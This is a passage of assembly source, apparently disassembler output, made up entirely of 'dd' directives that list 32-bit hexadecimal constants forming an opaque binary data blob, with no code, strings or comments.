		dd 66832073h, 0FB1E3106h, 2020041Bh, 0D0BCE4B3h, 6E056F02h
		dd 0D1A04255h, 33AC42C0h, 0D9B3C890h, 0DEFCB50Eh, 0A8C8D208h
		dd 2FF7FAFh, 0E1FB5A10h, 0E4D9D691h, 0A3343A64h, 2AAA0088h
		dd 0B6C69C73h, 5BE900A8h, 0FA92F6A6h, 530264BBh, 7AF03DD7h
		dd 4045BC5h, 0C4E872F8h, 3C40F1D0h, 0A3E80DCh, 7641DFh
		dd 823DF501h, 8F64CD8Eh, 0E8E6DA00h, 0DBB40949h, 10CC0033h
		dd 0E03613B5h, 0A6543457h, 89833758h, 99603D99h, 8135F6Ah
		dd 6540B384h, 5BAAFA2Ah, 0A93C2045h, 0CF7EFDE8h, 80A89C5Ch
		dd 0F584D41Bh, 37930725h, 8762D32Eh, 0E9EF73B3h, 10CE31D0h
		dd 0A8451205h, 54E60BC9h, 0B7897321h, 20E8C85Dh, 0F7AC3FFFh
		dd 3173D380h, 58D6D491h, 0D5E4661Eh, 0B4A1B9CAh, 8835BC63h
		dd 129711h, 19A8BD94h, 0A58F373Bh, 30B0332Ch, 0D888EA10h
		dd 2D6A9B61h, 2800804h,	11980F49h, 0A0643E25h, 13F47D1Dh
		dd 0EF29D607h, 0B0AC10C4h, 0ECDB83C0h, 8B0BB17Ch, 989BDFEh
		dd 7FBC1060h, 60849E43h, 0F402ECD2h, 0A1639E00h, 7BD95E98h
		dd 95702Fh, 0A06FAD0h, 743B9605h, 21E27D00h, 57719CF6h
		dd 0FBC09545h, 0AF713DDBh, 31D8CB50h, 43C5ED00h, 8E13D5B8h
		dd 9C74B53h, 2C593DECh,	258CE462h, 283482D5h, 3A00E046h
		dd 0C2F94EEBh, 0C68C5A9h, 0E3EFBDCDh, 3307ADF0h, 9D841473h
		dd 0F630C2F7h, 0B247A0h, 0D82AEE03h, 0BBF0285Bh, 0D233C803h
		dd 0E88F1F53h, 11657Fh,	0B7B4F0Dh, 0AA7ABE3Ah, 8103524h
		dd 0E977004Fh, 0DBD47Dh, 0B83A84ACh, 0C1CEB60Bh, 18856D2Eh
		dd 20C55D42h, 20D6CC64h, 598DEC07h, 0F60A9A6h, 0E2D3C8FDh
		dd 2B7716D0h, 8578C8B6h, 0CC7D6900h, 7027E50Bh,	621E00ECh
		dd 0C49941DDh, 94BE5DD6h, 6581B810h, 784A8F4Eh,	6A5F8030h
		dd 0B4A87062h, 0C3EC9F8h, 76DFF311h, 64006D25h,	0D8C93BCAh
		dd 640D28D7h, 44224035h, 80AC6A16h, 396D04F0h, 9174F727h
		dd 0F8021994h, 64221078h, 803F5C63h, 0A14F1A80h, 5B8BF26h
		dd 60A9E226h, 2C66005Ch, 0E80F4A76h, 0A705455Bh, 5AE992FEh
		dd 3F351808h, 8485204Ch, 232CA240h, 61CD05E5h, 53E0C24Dh
		dd 0E9914C79h, 0DC28475Fh, 457D00B5h, 38BEC7BFh, 48E6FE09h
		dd 1ED2FDE4h, 3F28C3h, 0A560CC38h, 6F50C1EBh, 0F952657Ch
		dd 0B4CD4ADCh, 0D2CB02F0h
		dd 1A04C819h, 0B0A1CA0Eh, 958AC010h, 765191E5h,	85B3FB5h
		dd 0B6F9DB82h, 9490A107h, 3E256057h, 0F240AF10h, 0F6669881h
		dd 56124CFh, 8CDD09C0h,	3B486450h, 2C2E26BCh, 5AD5804Eh
		dd 1440B8Eh, 0FE71DC4Fh, 0E012D708h, 6D0768E2h,	1C5545DAh
		dd 243ED830h, 0EFA813F0h, 5ECC8C13h, 0D451BC60h, 5EE80D5h
		dd 5083FC12h, 4AA080D8h, 0ACB16EC2h, 13CEAC04h,	713C04B3h
		dd 58124A1Fh, 3B1E08D0h, 30AA4500h, 0DF0615C7h,	0D8271CF5h
		dd 0DD234058h, 54A733D3h, 9B2C4402h, 790E5380h,	4BC20E70h
		dd 16E2A6C0h, 0D909FE84h, 0F89832h, 0DAF3B3F4h,	6ECCA8D1h
		dd 113CBCEEh, 0F8205FE0h, 0E313AEBh, 70DE379h, 4F92B4E0h
		dd 5D496AC2h, 0C83F259Ch, 1826948Ch, 4366B12h, 587F2142h
		dd 0D12FA307h, 4626E9Dh, 0A11CECA7h, 4E115808h,	4444EA01h
		dd 0B9D8E000h, 0A3CAF0D6h, 6057E8D4h, 32AB10D1h, 79181227h
		dd 8546DB81h, 40E01A0Fh, 5141D16Ah, 0F0C1A8FCh,	0BE4040B9h
		dd 716D8082h, 0AE8C01F8h, 837DCE40h, 27206C5Dh,	752C4611h
		dd 3C690471h, 8CE9AB8Ah, 0BE42FD60h, 441FEB22h,	9942B362h
		dd 0F8B1BC28h, 0A835134Ch, 0B4B25Bh, 704EB3DDh,	5D82B4A2h
		dd 3C4838EFh, 0C7515EA8h, 0DBE0F838h, 0CE873C00h, 0DC516D96h
		dd 0B5940045h, 0A5AAAB31h, 91EBF68Bh, 6A8410D1h, 5CCF05h
		dd 99CBE304h, 0BAE63EB6h, 5F4C1E74h, 0C2176072h, 0B0CC616Bh
		dd 9A320F65h, 2130C0Bh,	95C0A1BCh, 368494A0h, 0A49F5C0Eh
		dd 76408870h, 1DB6AEDFh, 0D2307D1Eh, 0F7831503h, 3DEE891Eh
		dd 39B8F16Eh, 37C200CCh, 80CF27Eh, 534700A3h, 5916B834h
		dd 4C1E0121h, 26C0E68Fh, 0F13CFB1h, 91C891F4h, 80013AC0h
		dd 61EFD22Dh, 2AE224h, 0FFFE54E0h, 0B6BEE46Fh, 328430C5h
		dd 0E20B2CE2h, 8C821440h, 4BC0BE86h, 0D9749BF6h, 0E513B302h
		dd 8273F72Fh, 88406508h, 0DF803C14h, 218D892Fh,	0A5BB01F5h
		dd 2CC6EC35h, 8F30807Fh, 9EC3F7C7h, 113600ABh, 575BC9A4h
		dd 0A60233BFh, 35B89C60h, 230E099h, 96DF2C80h, 0AED00290h
		dd 52153Ah, 6FA39E14h, 0D53454F4h, 0B82A6701h, 87021ADBh
		dd 0D0786BD2h, 273F6C9Ch, 0B0CC0BDCh, 0E0003842h, 9E18D601h
		dd 14060795h, 73A71F15h, 3A851208h, 12AC34F0h, 8F788C40h
		dd 22FA6625h, 446EC1D4h, 0D64F00F0h, 9D154A04h,	0E2003D0Eh
		dd 0E03A144Eh, 99AA345Bh, 0C8AB12E8h, 0D216B3C8h, 381DFCB4h
		dd 80E26D93h, 6FD8820Fh, 6E8A84A0h, 597C1DEh, 58A33F3Ch
		dd 7468227Bh, 0D613709Eh, 8700E4A2h, 0F35246EBh, 5D3855DDh
		dd 62FA8084h, 742FF8F1h, 0BFE1CCBh, 8BF07B8h, 659771ACh
		dd 3C223A1Ch, 28C41A77h, 987CD643h, 0D5D34400h,	4465C125h
		dd 7C0142FCh, 6C286C4Ah, 0CDD70074h, 0C49D6D8Fh, 0C2B9309h
		dd 0F8904445h, 1C8DD2Ch, 0C1997B6Fh, 29C06369h,	6C88C803h
		dd 7F3F8457h, 920AC86h,	6469AD32h, 7B930068h, 50AB8F6Ah
		dd 3B00E65Bh, 173D2DEAh, 5682A6Dh, 0D6995119h, 0CAB4B279h
		dd 44934D5h, 0C8A3120Bh, 4E2E8500h, 0BC601A84h,	13E0510Eh
		dd 3C656134h, 3C31E2A7h, 9B15E078h, 0FC00B0F5h,	7F1268FFh
		dd 0AE00323Eh, 0BC4CDFABh, 16961B06h, 0C165F584h, 1283E5B4h
		dd 40F85ED5h, 6A307A48h, 7169150Bh, 44B06414h, 0FE5D65B0h
		dd 9E7870h, 4C90C540h, 7661433h, 902D3DEh, 0D815BA6Dh
		dd 605676E1h, 0CF003380h, 31F9F2DDh, 51344058h,	8C6108A7h
		dd 4EC1404h, 0BD1B0076h, 9A6CC7B8h, 0F2010A84h,	737941A5h
		dd 0F8205EC6h, 0C83100E3h, 0D029E5ABh, 0DF52CDAAh, 0A3F500B0h
		dd 5DBB7EBh, 6A070034h,	0E15B4BE7h, 0AF39AB3Ah,	0B24A929Dh
		dd 0F9D9EC62h, 0ABB60088h, 0B84B1439h, 36026DFCh, 5B17ECA0h
		dd 9CC281BAh, 0F6D843B9h, 0B0280097h, 2CDB1F56h, 0B8B870CCh
		dd 0E5B2B500h, 0CDD3D44Bh, 0F8909DB4h, 7601029Ah, 9DA82B19h
		dd 7DCC9238h, 6D540048h, 0CF345D2Dh, 2306E388h,	4407FF7h
		dd 22E40320h, 0A85ED839h, 0B3B755B0h, 44B0AF25h, 0BA7138h
		dd 1EF81367h, 3DED6CE6h, 66096501h, 0AFFAE2C7h,	0B97B1E70h
		dd 0E17F875Ch, 7817803Bh, 244FF394h, 0BBAAEC8Ch, 441025BCh
		dd 890078F1h, 0B5F9B1F0h, 4552E82h, 1D1A6B08h, 0C110B804h
		dd 0ADA540DCh, 0C358083Eh, 5009E9Fh, 7BBCC9BDh,	39DF0055h
		dd 11A728CEh, 4CBE3516h, 70CC4B58h, 137B4E3Dh, 0F0E704h
		dd 1BEB7747h, 247B55h, 97F3CC8Dh, 7A0DCEFCh, 84150CECh
		dd 25286AC1h, 4500646Fh, 60A8603Dh, 0EE3E8709h,	2C58008Fh
		dd 84199493h, 58880882h, 5A582814h, 0F877840Fh,	9E660EB8h
		dd 4865C3CAh, 5D3988F9h, 3D7D1276h, 7BC2040h, 0F4074A15h
		dd 0B5D1E649h, 0EBA6CA90h, 0D19C5A4Ch, 6AE0F328h, 0F87A028h
		dd 0EF4324A8h, 65C8A7E0h, 6000D70Dh, 0F84A645Fh, 5B2BC3Ah
		dd 663C739Dh, 127CB4F9h, 0DBB13400h, 0D67B8770h, 0B219C01Ah
		dd 3D99630Dh, 0E051B49Ch, 56E20DEh, 0CB00869Eh,	484E35ACh
		dd 745CC674h, 0D8E300F8h, 0C1DB367h, 0B52ED436h, 9E67C4B1h
		dd 0F678A200h, 0D6380015h, 0FE23C322h, 0A7078054h, 285F2E84h
		dd 247C03B9h, 562DEAE5h, 908A000h, 0DC127058h, 35C36433h
		dd 105BD1A2h, 0BD8829h,	0C4DE2FBFh, 737444B7h, 0EA790096h
		dd 32DA67EBh, 0E082041Ch, 90A9FAF4h, 34852D54h,	0D8125CC5h
		dd 4BD9E102h, 0EC405595h, 0A11310C6h, 48A4AFE0h, 147C8AEFh
		dd 0AB7D040h, 0CC9A001Eh, 2A1D24EAh, 9B323885h,	20646143h
		dd 5AEA16CFh, 0ECB90900h, 0E0969781h, 5EA82663h, 13804EB8h
		dd 3942C049h, 7AC14A00h, 0A183F976h, 13887648h,	90163B2Bh
		dd 43B09E60h, 0A1DE4C0Dh, 13A40FBh, 0F3AECE00h,	53F062D7h
		dd 4BD400ECh, 76354FC3h, 2047007Bh, 0EF84371Ah,	0E4B83F0Bh
		dd 0B5FE8CFAh, 74500D26h, 48260822h, 10602CD4h,	1FEA6030h
		dd 2D97EDDh, 0B761D85Ch, 9133892Ch, 0D5DB0468h,	0FAC4C2B5h
		dd 85508429h, 3C6CF256h, 0AA2B00DBh, 0CA9D0A7h,	0CBE705FDh
		dd 0B0E89EF8h, 400995C8h, 853D7AFEh, 0C82AC064h, 0A74C8E01h
		dd 8A18157Ah, 0C86ACD08h, 85F30980h, 0A8034Ah, 9C229EF5h
		dd 194F0B7Fh, 92A2D03Ah, 8CB2484Dh, 0BAD7EA05h,	270BC0BDh
		dd 34099A31h, 802C1828h, 5C2BDEC5h, 26712D0h, 9F70D05Fh
		dd 45006D72h, 1EF4919Bh, 0CB26B79Ch, 7C2D4450h,	4165E029h
		dd 12110303h, 0C2A47685h, 0FF088019h, 0E1663EB4h, 5D64287Bh
		dd 0D5F9C300h, 0E853927Fh, 0A6F50088h, 0ACBD10EDh, 632F21D7h
		dd 0AD0C41B1h, 1B0DF422h, 6A40798Bh, 4470100Ah,	0D4470A3Ch
		dd 0AB807C12h, 0A63606ADh, 96A503FBh, 0D64DA195h, 0CE0A56F8h
		dd 7A839C00h, 9746D843h, 9FB20469h, 0D0BCCD13h,	0D0DE4B2Ch
		dd 3412535Fh, 726DF00Bh, 8E6023Ch, 9C036AB2h, 24F8DC64h
		dd 0B54C2900h, 611A276h, 421A00ECh, 0DD0A8D5Ah,	2C9134AEh
		dd 0E2DFB302h, 0C980DEB1h, 0E11124D3h, 5E083580h, 26016C06h
		dd 0B03FAAFEh, 0E8293284h, 0FF114400h, 0DBC32A7Fh, 47CD3304h
		dd 0E48C144Eh, 0D4761E36h, 7B7F0039h, 23B69545h, 1FA7C003h
		dd 5E6D69C2h, 6464C829h, 40ABB500h, 0FFE5B39Fh,	0D654006Fh
		dd 0A673553h, 9C5A5977h, 5CDB3840h, 0B07BEB96h,	26150F40h
		dd 0DF62CD18h, 8AB2EA8h, 9710C01h, 0F182DA2h, 0F63E687Fh
		dd 88E0A070h, 0C0A7FE4Dh, 16341308h, 94007298h,	0A3C1D05Fh
		dd 255DD74Fh, 84A0DEF3h
		dd 124AA7D5h, 450370FAh, 35D691E2h, 0A534E9E0h,	3688CC68h
		dd 0F3126310h, 4CE82CDDh, 0AC860100h, 2E8105D6h, 83E9246Eh
		dd 1E78207Ch, 65012CE5h, 125AB0CCh, 3064D470h, 914CE8D6h
		dd 8CE11214h, 0C088F690h, 70D1E23h, 626DC097h, 16509A2Dh
		dd 31D2DD02h, 84603D42h, 0CD46FAF8h, 6BE05168h,	1669B500h
		dd 0BD26A9FDh, 0C1AD0072h, 14A4A350h, 9C48390Dh, 0B8088714h
		dd 0CD5B2520h, 0EF9E0067h, 37662FB1h, 24B858E0h, 60409486h
		dd 0A410B773h, 5F4472C1h, 71DB00B6h, 7D29BF62h,	7416BD45h
		dd 2CC04AE9h, 3EDB7B11h, 330E3A0Ah, 36802A4Dh, 0F6BCEC99h
		dd 48B38039h, 0B7DA0754h, 2D6318C5h, 94086DCh, 0BDD4D563h
		dd 6642A400h, 90B7BB03h, 25910C4h, 0D6B23B8Bh, 24E0A7EEh
		dd 0E49EE5D3h, 3D90BCC0h, 6A5E06B3h, 28AFEEC4h,	5AC1BF44h
		dd 345C276Fh, 8B34C174h, 0EF6A00B3h, 3118A4AEh,	0CC59EE9Bh
		dd 5003CCFFh, 140733Ah,	0EFDB6BE8h, 0E0207CE3h,	0D8584E04h
		dd 6B006E54h, 105E9586h, 54664B82h, 9D68F6h, 21DCCE32h
		dd 4A144FE2h, 0B1A39402h, 64D8DBF3h, 78B1B77Ch,	0FCA40878h
		dd 12CF0959h, 5CE46694h, 0CDB93C00h, 0FDEEDDF5h, 0A300021h
		dd 45B35836h, 0E161EBBFh, 8CEFE28h, 0D8DBE3F6h,	0D268D7h
		dd 12D12F04h, 248A4D65h, 0D45E3328h, 0B192C503h, 11F72013h
		dd 2257B8E8h, 0A220F67h, 0E28035BCh, 0AAEFFC1Eh, 0CDCBB71Eh
		dd 0D8FDA45Ch, 18284E84h, 263B42D7h, 0D1120439h, 0A7FCC8h
		dd 0A89E0B37h, 0BB1ACA62h, 0C8279F00h, 1E6AD841h, 94CD0055h
		dd 0AF13D933h, 0AB79EE76h, 66440F04h, 28808434h, 151DD33Fh
		dd 0E8DD5EB8h, 40A2121Dh, 0B74A2C54h, 6F0089FFh, 1513D730h
		dd 0F1AED620h, 6703C0F7h, 0B399025Bh, 215F4F3Dh, 9DDDC90h
		dd 377614FCh, 6500FD74h, 0A208C092h, 233D7DAh, 1168801Fh
		dd 0A889306Dh, 0C5810CF9h, 0D71F950Ah, 0AD0C0B7Ah, 88973C04h
		dd 59C071ACh, 94ACEFB3h, 3F8B00FEh, 18A356D8h, 3300D3A0h
		dd 7EA1BDA5h, 15ED7EFh,	9D6B4443h, 6C73CDAEh, 0BEB38870h
		dd 0C8C84C2Fh, 3CB181E1h, 20E53442h, 0AB1A4AD9h, 119D6F7Dh
		dd 0B828AE70h, 69146DC0h, 37278520h, 56584A0Eh,	0D9F3C39Ch
		dd 18D641E4h, 0F5401E6Fh, 27940899h, 6C64E9ABh,	706A2517h
		dd 0E5245E00h, 2D41B68Ah, 184586F8h, 0C10FD980h, 3616F2Eh
		dd 7BEC9336h, 0BE983220h, 11F4836Ch, 13C9AD00h,	8274F697h
		dd 0D4590B93h, 0B28F26E5h, 53764EE0h, 2D1CBD44h, 6C3F5Fh
		dd 7A16B340h, 0D6F80003h, 0F274DC26h, 0F6092EE7h, 82531DEFh
		dd 0D1D7F3E8h, 0AC1AC5BCh, 92D9C938h, 4887188h,	47ED9B78h
		dd 0F3D03AFEh, 134CA7Bh, 3893CB58h, 50EB68C2h, 5C752B4h
		dd 0FE1E6C00h, 60DF3FAFh, 0A7DC000Ch, 3BA49C29h, 0D000727Eh
		dd 9B05DB5Ah, 5BAEA647h, 3C28C04Ah, 22BDF64Fh, 2E736A0h
		dd 1CC469C1h, 0CE00C086h, 0E1BBE0E3h, 0F928473h, 4CD3B7E2h
		dd 8C849BE9h, 0C82057C0h, 8FBCBDh, 0D72F5DB6h, 0AC51FE6Bh
		dd 910C61B0h, 389DB21Eh, 0BB4484A4h, 9F53DA7h, 6572313h
		dd 0A0A6EE3Ah, 0AA9CCC54h, 85222004h, 84ECF536h, 0B693381h
		dd 0EC207AB8h, 148CDF1h, 98A8FC1Ch, 0F89C07B4h,	962B1B2h
		dd 24E4A450h, 0B77C88CDh, 8AEE600h, 20F32C6Bh, 0C168C821h
		dd 0EC90CD96h, 68FD277h, 0EF45A116h, 962F50C7h,	2406CE6h
		dd 2E7611DAh, 0C15DDEh,	8841F212h, 0AADC104Dh, 0E67022CBh
		dd 0D44A6D00h, 78E1D7B3h, 4490900Dh, 0D8B8D595h, 0E3406B0Bh
		dd 60C8E4E8h, 463B3A9Ch, 90003929h, 346F3098h, 0EEFB13B6h
		dd 6A5300BBh, 0D867C6B8h, 3F0062D7h, 327C3CA4h,	5B9647D9h
		dd 3964CA9Ah, 0D052A84Fh, 0C189D478h, 4FA68510h, 6A50C3A0h
		dd 0CBE10E01h, 5D9EFFF0h, 2084942Dh, 0E95C807Bh, 0F900C4D5h
		dd 0EB3D1E65h, 7C366321h, 6CD7009Ah, 0AF58240Eh, 5202DB33h
		dd 0E0313903h, 0E288606Dh, 9C6E8876h, 5500DCB1h, 0F5DDD326h
		dd 9BCE137Fh, 0C438D43Bh, 38588BB1h, 642A80E0h,	0AE7B5002h
		dd 0A8F40171h, 845CE4FCh, 4F406D3Eh, 87F488h, 0A2701B77h
		dd 7D374F08h, 0CD24BA01h, 71C24956h, 8414207Bh,	0B826DF69h
		dd 3D41A4DDh, 92B7AE8h,	60E46554h, 5973C114h, 0D8D63C1Ch
		dd 694FC08Ch, 0E37E62h,	8A8BA9C7h, 22173CCBh, 195E82FAh
		dd 859F4C2Ch, 44126D16h, 8622C4ACh, 64A3762Eh, 32BF2538h
		dd 40F0D644h, 0AD47826Ch, 7073A000h, 6F88131Ah,	0CC8B004Ch
		dd 0DC6DCAA1h, 0A0BEDB0Ah, 0A9EF4108h, 5FFF8088h, 6F5B83DAh
		dd 1D68134Ch, 90B0144Dh, 5E3C6D07h, 25A424F7h, 6E7CF464h
		dd 50CC344Eh, 42D672A1h, 10630673h, 1160CDh, 0CFB0265Fh
		dd 0AEE32B83h, 7002BB04h, 0D4FC81C5h, 651CE124h, 87544060h
		dd 223F0D19h, 0A1B79700h, 0E71D6FB5h, 0D6992C9Ah, 1657000Ch
		dd 0A4F65E6Bh, 0F2944001h, 0D0270D1Fh, 5C01EC6Ch, 20B80716h
		dd 0F8729Ch, 29D7EE1h, 7077AD7Fh, 33E051Ah, 0AD84E570h
		dd 131E96D4h, 1DAE23C0h, 76D3225h, 0B791B405h, 893ED330h
		dd 0DC1113F8h, 4C95BF00h, 38E39B5Ch, 0F678009Eh, 0D8A27B08h
		dd 0BC02AB15h, 58A169B7h, 68711Bh, 0B1EE35EBh, 0DF0089C1h
		dd 71C93AC3h, 0CCD829h,	0DCAB0FBCh, 0FEAE99B0h,	4CC821E7h
		dd 4386A128h, 8FAB1693h, 4A00C4E2h, 9A7D172Ah, 0BF178958h
		dd 4604FECEh, 1091CCFBh, 8517E539h, 0FD788204h,	0BD805428h
		dd 0D08B1068h, 63F9007Bh, 8226C507h, 3F2C1D58h,	0FE097A5Ch
		dd 0B7E307DBh, 0ABC50059h, 3FB6CE5Ah, 9DBE28B5h, 0ECCDDD00h
		dd 7A15E9F3h, 97FECC3Fh, 0EC438FFFh, 0D81E647Eh, 25024513h
		dd 7CE43B85h, 0AB5FE277h, 224264D2h, 44E81ADCh,	82ECD748h
		dd 2425B34Fh, 4E03C0A3h, 0A03B5003h, 0DE3881C4h, 6CD5117Eh
		dd 4AA2C060h, 0B11007C3h, 0BC4419B7h, 4000C7F6h, 881C5AB3h
		dd 12191202h, 25D8BC2h,	0CAED4830h, 0E10964C0h,	40F87482h
		dd 2B683CBCh, 119F600h,	5CA5E13h, 396B0037h, 0E846F18Eh
		dd 0A1043641h, 0EAB44D4Fh, 412518F0h, 444D57h, 54D041B5h
		dd 0B1DEAE00h, 71CA0C9Ch, 98FFE4DCh, 2B58888Ch,	41020EA5h
		dd 0B3208084h, 0F91AAE0Bh, 27E39F14h, 35650598h, 3040C9B5h
		dd 2664853Ch, 0F39A00EAh, 0FF1B1972h, 7526BF45h, 4192D032h
		dd 0CA074BCh, 7B01A31Ch, 90594F6Fh, 0C7F4DFC9h,	0EBB00E2Eh
		dd 0F6F2C1E0h, 68127F28h, 0FC445B2Dh, 0A05680D6h, 854A49B8h
		dd 0F8073824h, 92B040Bh, 64205E04h, 9E2C80B7h, 2D002EE2h
		dd 6A519546h, 5E2050FCh, 6EAC8CA6h, 0D6491B74h,	82906970h
		dd 2378DE54h, 0B8E83DDBh, 5346874h, 70EC987Ch, 0A7408A7Ah
		dd 0BB037FC9h, 33E0B39Ch, 48300859h, 0D7847E35h, 8803265h
		dd 0B0CE843Eh, 84B24E30h, 154480ACh, 20B1A477h,	7F22780h
		dd 14EC46Bh, 915DD0BCh,	849358D7h, 0DFB87F82h, 8422D0B8h
		dd 6FF8865Fh, 5268A700h, 0A103B1B5h, 0AD73A900h, 0B0EE8D9Dh
		dd 0FAD6F636h, 7E4C0299h, 0F765E9ABh, 74CEB0E2h, 8BC87F02h
		dd 90F208D3h, 0BFDDF364h, 0C7039414h, 0EA8EDE65h, 9032E86Ch
		dd 7B580013h, 0C2F19C12h, 662C29CBh, 6A4054FFh,	3D2A24AAh
		dd 804F45B3h, 4002B8BCh, 768C541Dh, 8B0FE080h, 164C2D34h
		dd 6072C1D6h, 186513B4h, 0F277E01h, 34AB9E66h, 0C008ABD6h
		dd 8AC6F634h, 7B509055h, 0B78A2419h, 0DDF200A2h, 5DF0655Ah
		dd 0A473393Dh, 7B51B435h
		dd 455E1410h, 0A07E2BEEh, 3D90AA4Ch, 5CE6816Fh,	8B826802h
		dd 0E40CB8BEh, 0A0181650h, 40678116h, 0E2F00EAFh, 0BBA180BDh
		dd 0E3EAB2A3h, 5FB40200h, 9E6A7B57h, 63A700ADh,	9C37260Fh
		dd 7C0087E6h, 3CDAAC82h, 61CC2DB7h, 0D934406Bh,	182A00B4h
		dd 713F805Ch, 81196D60h, 0FACD3644h, 0A884FD68h, 0FE5D3A2h
		dd 7EE840h, 0AFF0139Ch,	441D8259h, 0A640CD74h, 0F91FB4B9h
		dd 9FE80C79h, 8C40A8EAh, 0A4741650h, 87C408FDh,	1F085090h
		dd 0AC84B44Eh, 28015945h, 1FE48ABDh, 6AC0C44Ch,	1E06F650h
		dd 0AD8EEF05h, 48C31926h, 0C179A064h, 0CC11976Dh, 1324D2F9h
		dd 0F0584EBBh, 6D73FE60h, 120ACF1Fh, 0F4D72F6Fh, 0A72009h
		dd 0BBEA5680h, 2B141667h, 757800C5h, 0C8A6FD26h, 0FA43D0Bh
		dd 98CF087h, 6CC137FEh,	0F4718400h, 0DF00A660h,	3F86745Ch
		dd 306FF8AFh, 0E4206999h, 2298CCAh, 1E22037h, 5732A3h
		dd 0C3442288h, 40E44FF3h, 45DF291Ch, 4494C64Fh,	40387669h
		dd 69911A4Eh, 84589B01h, 0FD9C6E0Dh, 302BAC10h,	9198DD4Ch
		dd 283FF104h, 28DDEC24h, 0DC4A69h, 6C70B39Bh, 0DCBD4CB2h
		dd 3B3FECA0h, 56DBCC03h, 224DF4DEh, 1E009F29h, 774EFEEh
		dd 62CA12h, 6ED5FA29h, 61CB06FDh, 0D8FB2C01h, 0E6854773h
		dd 0DDA2D8h, 0AD722FD4h, 0DEA1FEE4h, 1031D530h,	747DE1h
		dd 7469644h, 0E9EE7AC1h, 0D298AC0Eh, 0A015EF78h, 13024437h
		dd 0B67D018Bh, 1D29654Eh, 9980FC38h, 0DE0096ECh, 0EB9EFDE5h
		dd 30A8300Fh, 0D8215BEEh, 2B097458h, 9C5CAB8h, 209500EBh
		dd 395EB586h, 0DB030BDCh, 0F0FA5961h, 134226F8h, 0A89B3300h
		dd 0D612B167h, 7668FEE4h, 0C2FD00BEh, 217F2C31h, 23009101h
		dd 0A0074F02h, 5047D1h,	70A5FBECh, 7A2298F3h, 0C40008EEh
		dd 0C54CF415h, 3CD63AE0h, 980031CBh, 8C0F23AAh,	3601EEA7h
		dd 3DD8C599h, 683061BEh, 0C78F0002h, 0AF50854Dh, 0BD025B82h
		dd 7DBE2D49h, 1BC5046h,	0E31D4801h, 0FC3AD38Ah,	400F55Ch
		dd 4A4FEAE2h, 3C98ECh, 0A5F05BC7h, 7A811FA3h, 17B12000h
		dd 0B767AE71h, 35960059h, 0ED30AB60h, 1D00AC26h, 0E58D7AC3h
		dd 20796Bh, 94C2B5D5h, 8315CFC6h, 0DC8B5403h, 0F0760B6Eh
		dd 0F7822EABh, 0F045AE0h, 0E36F538Dh, 0AD3F7D63h, 0D79CCAC8h
		dd 368BE100h, 1712A9Bh,	6B8F0009h, 0A370131Eh, 823D57E3h
		dd 1BA613ECh, 1C32EE00h, 3DED7Dh, 4BF9C03Ah, 0F880565Eh
		dd 4D2FE00h, 0BB61DD37h, 0E05A14CCh, 0F4C010B5h, 0FF8A76FCh
		dd 0F9510300h, 0BF9730A0h, 59990137h, 0AC603C12h, 20016FEAh
		dd 0C9CA702Bh, 0EFDC53F5h, 0B8740042h, 0E5494FC3h, 753C41EEh
		dd 389580BBh, 0B3360C47h, 2E18004Ch, 44FF749Bh,	126041ACh
		dd 88C64918h, 5CD148BDh, 0C2D33A1Fh, 799AE925h,	6BF63448h
		dd 0D7177607h, 70B1E7FEh, 0DC8FB48h, 45361BC5h,	0ED829CBh
		dd 333D8EE8h, 7C9D801Bh, 0A2159586h, 3AEFFA98h,	0A81ED278h
		dd 0E480BAC0h, 62CEE22Ah, 0DB24FC2Bh, 0CA008421h, 0F4C35927h
		dd 83125C49h, 164E1E07h, 0D65A80AEh, 1900F51Fh,	5FB7A59Fh
		dd 1FCCA318h, 0B809C23Eh, 170F1Ch, 0A2CEC8B4h, 3828F05Fh
		dd 0A13BC6A4h, 7598066h, 8D0F1B8Ah, 7E0960A8h, 0DBE696DAh
		dd 60C8312Dh, 220A80h, 0EE1B50BCh, 0E0576EDh, 114AC20Fh
		dd 87520E3h, 5FC50Fh, 2FD2717Bh, 0FBE8A96Eh, 3000A678h
		dd 199ADDC3h, 481B6EEh,	7048A23Dh, 0ED14C093h, 0E30041A6h
		dd 0D3F589C0h, 90CFD5h,	0E65570B4h, 0E20D7A44h,	7B6CD000h
		dd 98EA3D25h, 30E524A2h, 7DCF00CFh, 111F9A85h, 211E7F30h
		dd 1FEDA8FDh, 0C01CA74Dh, 0BA94F036h, 8602F148h, 47FDA213h
		dd 1BDC68FCh, 5C160002h, 98122AADh, 0F4000933h,	11CBF24Eh
		dd 75C5897Eh, 66084C6Ah, 9FF9CF03h, 0E5F08AC2h,	50FF491h
		dd 0C0A0E8B7h, 17D902BBh, 580B006Ch, 4245FBE2h,	0EF00A6FAh
		dd 0C92FBD0Eh, 39C564h,	0A13EE647h, 9EECDA04h, 6EB68100h
		dd 69D98857h, 70CF010h,	0BA4C562h, 0C09734E6h, 0F46D9AE4h
		dd 0D86A4F00h, 69B640D0h, 714800F5h, 0A59BECE1h, 7A008076h
		dd 73CEAA84h, 39BA4AB5h, 0B601899Fh, 61B2913Fh,	0DE843013h
		dd 65E6424h, 0EB809C2Ch, 0BFB1DF55h, 0E9490351h, 609541A3h
		dd 0A6808DD0h, 8E94AA01h, 0D86E3CEh, 0DCAC30h, 0C9852804h
		dd 0FB2EEF45h, 0C801C13Eh, 50CF26ADh, 194EB300h, 242DE7ECh
		dd 4E94BA92h, 3BC04FC9h, 8A078EF9h, 9A2E31FBh, 84D590B0h
		dd 0D2AE0688h, 0C0E6B96Fh, 7CA8762Ch, 0E0B2958Fh, 0D4503502h
		dd 332D00D5h, 5F2EE70Fh, 0E20010A6h, 0D840FF2Ah, 6885C7h
		dd 8082C8BFh, 8B4FB994h, 35BD5200h, 1EDAA177h, 541F6A7h
		dd 0B8377E18h, 0E77AC199h, 69AAD434h, 0E06448h,	0FA665BE6h
		dd 9087B2E0h, 357438F0h, 0AA007B3Dh, 536C6782h,	9E00CCCEh
		dd 0D14409F7h, 1E6F50E1h, 89F16EE2h, 2E00AE34h,	3CB38325h
		dd 9DA1A500h, 0B1BAA4CEh, 0CF7DF5h, 48168F51h, 1AB91344h
		dd 0AE672F00h, 0ACFF1C08h, 5F460037h, 0F8AAB793h, 6B0EC573h
		dd 0DE9F2354h, 45D3FD00h, 0F60652Ch, 6F51958Ch,	0D460ECA9h
		dd 0DF00FE2Eh, 0DA01F764h, 1E09F972h, 7C2D5EC6h, 0AFC7100h
		dd 757763C9h, 0EC2BD62Ch, 0F44BFF96h, 0E52F032Eh, 0D1100201h
		dd 9254644Dh, 4AB9DC43h, 0F0C847E6h, 0D7B3F034h, 6039C298h
